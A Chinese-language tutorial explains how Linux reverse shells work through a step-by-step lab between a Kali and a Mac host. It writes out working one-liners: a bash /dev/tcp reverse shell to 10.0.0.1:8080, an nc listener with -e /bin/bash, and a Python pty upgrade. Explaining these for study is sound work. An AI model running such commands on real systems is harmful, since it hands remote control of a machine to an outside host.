linux反彈shell的原理詳解
完整命令
反彈shell命令:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1
利用nc反彈shell:
nc -lvvp 12345 -t -e /bin/bash
原理
bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打開一個(gè)交互式的bash
&是為了區(qū)分文件1和文件描述符1的
a>&b 的意思是 a>b 2>&1
0代表輸入 ,0>&1 意思是,將輸出的窗口上所輸入的值當(dāng)作當(dāng)前窗口的輸入。反彈shell后會(huì)有兩個(gè)窗口,即靶機(jī)的shell窗口跟攻擊機(jī)的shell口。這命令的意思也可以理解為,將攻擊機(jī)窗口的輸入當(dāng)作靶機(jī)窗口的輸入最終輸入給靶機(jī)。2代表標(biāo)準(zhǔn)錯(cuò)誤輸出。
實(shí)驗(yàn)
通過一個(gè)小實(shí)驗(yàn)幫助大家理解
第一步,將shell的正確輸出重定向到外部主機(jī)
假設(shè)我們?cè)趉ali上輸入的命令為:
bash -i > /dev/tcp/192.168.124.1/9999,這句話的意思是將交互式shell的標(biāo)準(zhǔn)輸出重定向到192.168.124.1的9999端口。
在mac上監(jiān)聽端口命令為:nc -l 9999

首先在kali上輸入whoami命令,發(fā)現(xiàn)沒有回顯,因?yàn)榛仫@被重定向到了mac上。

但是當(dāng)我們?cè)趉ali上出入錯(cuò)誤命令的時(shí)候,卻存在回顯。

第二步,將錯(cuò)誤輸出重定向到外部主機(jī)
我們只需要在上面的命令后面加上 2>&1即可,意思為將錯(cuò)誤輸出重定向到標(biāo)準(zhǔn)輸出上,也就是重定向到我們的外部主機(jī)。

這時(shí)候發(fā)現(xiàn)在kali上按鍵盤已經(jīng)沒有任何回顯了,回顯全部出現(xiàn)在了mac的shell上:

這是因?yàn)槲覀円呀?jīng)將所有的輸出都重定向到了外部主機(jī)上,但問題是現(xiàn)在我們的控制權(quán)還在kali上,mac無法進(jìn)行任何輸出操作,只能顯示輸出。這時(shí)候我們幾句需要將輸入的權(quán)限給予我們的mac。
第三步,交出輸入權(quán)限
只需要在第二步命令的基礎(chǔ)上加上 0>&1即可。

這時(shí)候已經(jīng)可以在mac上完全控制kali的shell了,實(shí)驗(yàn)結(jié)束。
其他
當(dāng)shell不穩(wěn)定時(shí)候用python的虛擬化終端:
python -c "import pty;pty.spawn('/bin/bash')"
參考:
https://www.freebuf.com/news/142195.html #將shell轉(zhuǎn)換成完全tty
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com/post/id/87017
到此這篇關(guān)于linux反彈shell的原理詳解的文章就介紹到這了,更多相關(guān)linux反彈shell內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Shell腳本配合iptables屏蔽來自某個(gè)國家的IP訪問
這篇文章主要介紹了Shell腳本配合iptables屏蔽來自某個(gè)國家的IP訪問,本文利用IPdeny的IP數(shù)據(jù),然后用Shell腳本導(dǎo)入iptables實(shí)現(xiàn)屏蔽IP訪問,需要的朋友可以參考下2015-04-04
阿里云主機(jī)一鍵安裝lamp、lnmp環(huán)境的shell腳本分享
這篇文章主要介紹了阿里云主機(jī)一鍵安裝lamp、lnmp環(huán)境的shell腳本分享,需要的朋友可以參考下2014-07-07
如何利用 tee 命令調(diào)試shell腳本中的管道
在編寫shell腳本時(shí),調(diào)試是個(gè)比較麻煩的事,特別是涉及到多層管道命令的時(shí)候,會(huì)產(chǎn)生多個(gè)中間結(jié)果,tee命令的作用是從標(biāo)準(zhǔn)輸入中讀取數(shù)據(jù)寫入標(biāo)準(zhǔn)輸出或文件中,利用它可以從管道中讀取中間結(jié)果并寫入本地臨時(shí)文件中,通過中間結(jié)果可以一步一步的定位到腳本的錯(cuò)誤2021-05-05
Linux?Shell腳本中如何獲取命令運(yùn)行的結(jié)果
腳本中常常要獲取一些命令的執(zhí)行結(jié)果,比如當(dāng)前目錄pwd、當(dāng)前時(shí)間date等等,下面這篇文章主要給大家介紹了關(guān)于Linux?Shell腳本中如何獲取命令運(yùn)行的結(jié)果,需要的朋友可以參考下2023-06-06

